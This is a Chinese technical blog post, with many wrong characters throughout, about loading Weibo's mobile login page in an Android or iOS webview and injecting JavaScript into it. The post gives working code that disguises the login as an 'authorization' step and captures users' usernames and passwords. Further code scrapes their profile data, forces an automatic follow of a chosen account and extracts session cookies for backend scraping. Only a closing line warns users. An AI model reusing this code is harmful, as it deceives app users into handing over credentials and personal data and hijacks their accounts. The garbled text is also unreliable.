github地址javascript
在app(ios和android)端使用webview组件与js进行交互,串改页面,让用户受权登陆后,获取用户关键信息,并完成自动关注一个帐号。html
传统爬虫模式,让用户在客户端在输入帐号密码,而后传送到后端进行登陆,爬取信息,这种方式将要面对各类人机验证措施,加密方法复杂的状况下,还得选择selenium,性能更没法保证。同时,对于我的帐户,安全措施愈来愈严,使用代理ip进行操做,很容易形成异地登陆等问题,代理ip也极可能在全网被重复使用的状况下,被封杀,频繁的代理ip切换也会带来须要二次登陆等问题。 因此这两年年来,发现市面上愈来愈多的提供sdk方式的数据提供商,通过抓包及反编译sdk,发现其大多数使用webview载入第三方页面的方式完成登陆,有的在登陆完成以后,获取cookie传送到后端完成爬取,有的直接在app内完成所需信息的收集。java
这是微博移动端登陆页 node
androidandroid
webView.loadUrl(LOGINPAGEURL);
复制代码
iOSios
[self requestUrl:self.loginPageUrl];
//请求url方法
-(void) requestUrl:(NSString*) urlString{
NSURL* url=[NSURL URLWithString:urlString];
NSURLRequest* request=[NSURLRequest requestWithURL:url];
[self.webView loadRequest:request];
}
复制代码
首先咱们注入js代码到app的webview中 androidgit
private void injectScriptFile(String filePath) {
InputStream input;
try {
input = webView.getContext().getAssets().open(filePath);
byte[] buffer = new byte[input.available()];
input.read(buffer);
input.close();
// String-ify the script byte-array using BASE64 encoding
String encoded = Base64.encodeToString(buffer, Base64.NO_WRAP);
String funstr = "javascript:(function() {" +
"var parent = document.getElementsByTagName('head').item(0);" +
"var script = document.createElement('script');" +
"script.type = 'text/javascript';" +
"script.innerHTML = decodeURIComponent(escape(window.atob('" + encoded + "')));" +
"parent.appendChild(script)" +
"})()";
execJsNoReturn(funstr);
} catch (IOException e) {
Log.e(TAG, "injectScriptFile: " + e);
}
}
复制代码
iOSgithub
//注入js文件
- (void) injectJsFile:(NSString *)filePath{
NSString *jsPath = [[NSBundle mainBundle] pathForResource:filePath ofType:@"js" inDirectory:@"assets"];
NSData *data=[NSData dataWithContentsOfFile:jsPath];
NSString *responData = [data base64EncodedStringWithOptions:0];
NSString *jsStr=[NSString stringWithFormat:@"javascript:(function() {\ var parent = document.getElementsByTagName('head').item(0);\ var script = document.createElement('script');\ script.type = 'text/javascript';\ script.innerHTML = decodeURIComponent(escape(window.atob('%@')));\ parent.appendChild(script)})()",responData];
[self.webView evaluateJavaScript:jsStr completionHandler:^(id _Nullable htmlStr,NSError * _Nullable error){
}];
}
复制代码
咱们都采用读取js文件,而后base64编码后,使用window.atob把其作为一个脚本注入到当前页面(注意:window.atob处理中文编码后会获得的编码不正确,须要使用ecodeURIComponent escape来进行正确的校订。) 在这里已经使用了app端,调用js的方法来建立元素。web
android端:chrome
webView.evaluateJavascript(funcStr, new ValueCallback<String>() {
@Override
public void onReceiveValue(String s) {
}
});
复制代码
ios端:
[self.webView evaluateJavaScript:funcStr completionHandler:^(id _Nullable htmlStr,NSError * _Nullable error){
}];
复制代码
这两个方法能够获取返回值,正由于如此,可使用js提取页面信息后,返回给webview,而后收集信息完成以后,汇总进行通讯。
//串改页面元素,让用户觉得是受权登陆
function getLogin(){
var topEle=selectNode('//*[@id="avatarWrapper"]');
var imgEle=selectNode('//*[@id="avatarWrapper"]/img');
topEle.remove(imgEle);
var returnEle=selectNode('//*[@id="loginWrapper"]/a');
returnEle.className='';
returnEle.innerText='';
pEle=selectNode('//*[@id="loginWrapper"]/p');
pEle.className="";
pEle.innerHTML="";
footerEle=selectNode('//*[@id="loginWrapper"]/footer');
footerEle.innerHTML="";
var loginNameEle=selectNode('//*[@id="loginName"]');
loginNameEle.placeholder="请输入用户名";
var buttonEle=selectNode('//*[@id="loginAction"]');
buttonEle.innerText="请进行用户受权";
selectNode('//*[@id="loginWrapper"]/form/section/div[1]/i').className="";
selectNode('//*[@id="loginWrapper"]/form/section/div[2]/i').className="";
selectNode('//*[@id="loginAction"]').className="btn";
selectNode('//a[@id="loginAction"]').addEventListener('click',transPortUnAndPw,false);
return window.webkit;
}
function transPortUnAndPw(){
username=selectNode('//*[@id="loginName"]').value;
pwd=selectNode('//*[@id="loginPassword"]').value;
window.webkit.messageHandlers.getInfo({body:JSON.stringify({"username":username,"pwd":pwd})});
}
复制代码
使用js修改页面元素,使之看起来不会让人发觉这是weibo官方的页面。 修改后的页面如图:
selectNode('//a[@id="loginAction"]').addEventListener('click',transPortUnAndPw,false);
function transPortUnAndPw(){
username=selectNode('//*[@id="loginName"]').value;
pwd=selectNode('//*[@id="loginPassword"]').value;
window.webkit.messageHandlers.getInfo({body:JSON.stringify({"username":username,"pwd":pwd})});
}
复制代码
同时串改登陆点击按钮,经过js调用app webview的方法,把用户名和密码传递给app webview 完成信息收集。
android端:
// js代码
window.weibo.getPwd(JSON.stringify({"username":username,"pwd":pwd}));
//Java代码
webView.addJavascriptInterface(new WeiboJsInterface(), "weibo");
public class WeiboJsInterface {
@JavascriptInterface
public void getPwd(String returnValue) {
try {
unpwDict = new JSONObject(returnValue);
} catch (JSONException e) {
e.printStackTrace();
}
}
}
复制代码
android经过实现一个@JavaScriptInterface接口,把这个方法添加类添加到webview的浏览器内核之上,当调用这个方法时,会触发android端的调用。 ios端:
//js代码
window.webkit.messageHandlers.getInfo({body:JSON.stringify({"username":username,"pwd":pwd})});
//oc代码
WKUserContentController *userContentController = [[WKUserContentController alloc] init];
[userContentController addScriptMessageHandler:self name:@"getInfo"];
- (void)userContentController:(WKUserContentController *)userContentController didReceiveScriptMessage:(WKScriptMessage *)message
{
self.unpwDict=[self getReturnDict:message.body];
}
复制代码
ios方式,实现方式与此相似,不过因为我对oc以及ios开发不熟悉,代码运行不符合指望,但愿专业的能指正。
webview这个组件,不管是在android端 onPageFinished方法仍是ios端的didFinishNavigation方法,都没法正确断定页面是否加载彻底。因此对于不少页面,仍是选择走接口
本项目中,获取用户本身的微博,关注,和分析,都是使用接口,拿到预览页,直接解析数,对于关键的参数,须要仔细抓包获取
JSON.stringify(JSON.parse(document.getElementsByTagName('pre')[0].innerText))
复制代码
获取json字符串,并传到app端进行解析。 解析及屡次请求的逻辑
也有页面,如我的资料,页面较简单,可使用js提取
function getPersonInfo(){
var name=selectNodeText('//*[@id="J_name"]');
var sex=selectNodeText('/*[@id="sex"]/option[@selected]');
var location=selectNodeText('//*[@id="J_location"]');
var year=selectNodeText('//*[@id="year"]/option[@selected]');
var month=selectNodeText('//*[@id="month"]/option[@selected]');
var day=selectNodeText('//*[@id="day"]/option[@selected]');
var email=selectNodeText('//*[@id="J_email"]');
var blog=selectNodeText('//*[@id="J_blog"]');
if(blog=='输入博客地址'){
blog='未填写';
}
var qq=selectNodeText('//*[@id="J_QQ"]');
if(qq=='QQ账号'){
qq="未填写";
}
birthday=year+'-'+month+'-'+day;
theDict={'name':name,'sex':sex,'localtion':location,'birthday':birthday,'email':email,'blog':blog,'qq':qq};
return JSON.stringify({'personInfomation':theDict});
}
复制代码
因为webview不支持 $x 的xpath写法,为了方便,使用原生的XPathEvaluator, 实现了特定的提取。
function selectNodes(sXPath) {
var evaluator = new XPathEvaluator();
var result = evaluator.evaluate(sXPath, document, null, XPathResult.ANY_TYPE, null);
if (result != null) {
var nodeArray = [];
var nodes = result.iterateNext();
while (nodes) {
nodeArray.push(nodes);
nodes = result.iterateNext();
}
return nodeArray;
}
return null;
};
//选取子节点
function selectChildNode(sXPath, element) {
var evaluator = new XPathEvaluator();
var newResult = evaluator.evaluate(sXPath, element, null, XPathResult.ANY_TYPE, null);
if (newResult != null) {
var newNode = newResult.iterateNext();
return newNode;
}
}
function selectChildNodeText(sXPath, element) {
var evaluator = new XPathEvaluator();
var newResult = evaluator.evaluate(sXPath, element, null, XPathResult.ANY_TYPE, null);
if (newResult != null) {
var newNode = newResult.iterateNext();
if (newNode != null) {
return newNode.textContent.replace(/(^\s*)|(\s*$)/g, ""); ;
} else {
return "";
}
}
}
function selectChildNodes(sXPath, element) {
var evaluator = new XPathEvaluator();
var newResult = evaluator.evaluate(sXPath, element, null, XPathResult.ANY_TYPE, null);
if (newResult != null) {
var nodeArray = [];
var newNode = newResult.iterateNext();
while (newNode) {
nodeArray.push(newNode);
newNode = newResult.iterateNext();
}
return nodeArray;
}
}
function selectNodeText(sXPath) {
var evaluator = new XPathEvaluator();
var newResult = evaluator.evaluate(sXPath, document, null, XPathResult.ANY_TYPE, null);
if (newResult != null) {
var newNode = newResult.iterateNext();
if (newNode) {
return newNode.textContent.replace(/(^\s*)|(\s*$)/g, ""); ;
}
return "";
}
}
function selectNode(sXPath) {
var evaluator = new XPathEvaluator();
var newResult = evaluator.evaluate(sXPath, document, null, XPathResult.ANY_TYPE, null);
if (newResult != null) {
var newNode = newResult.iterateNext();
if (newNode) {
return newNode;
}
return null;
}
}
复制代码
因为我的微博页面 onPageFinished与didFinishNavigation这两个方法没法断定页面是否加载彻底, 为了解决这个问题,在android端,使用拦截url,断定页面加载图片的数量来肯定,是否,加载彻底
//因为页面的正确加载onPageFinieshed和onProgressChanged都不能正确断定,因此选择在加载多张图片后,断定页面加载完成。
//在这样的状况下,自动点击元素,完成自动关注用户。
@Override
public void onLoadResource(WebView view, String url) {
if (webView.getUrl().contains(AUTOFOCUSURL) && url.contains("jpg")) {
newIndex++;
if (newIndex == 5) {
webView.post(new Runnable() {
@Override
public void run() {
injectJsUseXpath("autoFocus.js");
execJsNoReturn("autoFocus();");
}
});
}
}
super.onLoadResource(view, url);
}
复制代码
js 自动点击
function autoFocus(){
selectNode('//span[@class="m-add-box"]').click();
}
复制代码
在ios端,使用访问接口的方式
function getSt(){
return config['st'];
}
复制代码
而后构造post,请求,完成关注
- (void) autoFocus:(NSString*) st{
//Wkwebview采用js模拟完成表单提交
NSString *jsStr=[NSString stringWithFormat:@"function post(path, params) {var method = \"post\"; \ var form = document.createElement(\"form\"); \ form.setAttribute(\"method\", method); \ form.setAttribute(\"action\", path); \ for(var key in params) { \ if(params.hasOwnProperty(key)) { \ var hiddenField = document.createElement(\"input\");\ hiddenField.setAttribute(\"type\", \"hidden\");\ hiddenField.setAttribute(\"name\", key);\ hiddenField.setAttribute(\"value\", params[key]);\ form.appendChild(hiddenField);\ }\ }\ document.body.appendChild(form);\ form.submit();\ }\ post('https://m.weibo.cn/api/friendships/create',{'uid':'1195242865','st':'%@'});",st];
[self execJsNoReturn:jsStr];
}
复制代码
ios WkWebview没有post请求,接口,因此构造一个表单提交,完成post请求。 完成,一个自动关注,固然,构造一个用户id的列表,很简单就能够实现自动关注多个用户。
若是须要爬取的数据量大,能够选择爬取少许关键信息后,把cookie传到后端处理 android 端 cookie处理
CookieSyncManager.createInstance(context);
CookieManager cookieManager = CookieManager.getInstance();
复制代码
经过cookieManage对象能够获取cookie字符串,传送到后端,继续爬取
ios端cookie处理
NSDictionary *cookie = [AppInfo shareAppInfo].userModel.cookies;
复制代码
处理方式与android端相似。
对于数据工程师来讲,webview有点相似于selenium,可是运行在服务端的selenium,有太多的局限性。webview的在客户端运行,就像一个用户就是一台肉机。 以webview为基础,使用app收集信息加以利用,现阶段大多数人都还没意识到,可是,市场上的产品已经愈来愈多,特别是那些对数据有特殊须要的各类金融机构。 对于普通用户来讲,不要轻易在一个app上登陆第三方帐户,信息泄露,财产损失,在按下登陆或者本例中的伪装受权后,都是不可避免的。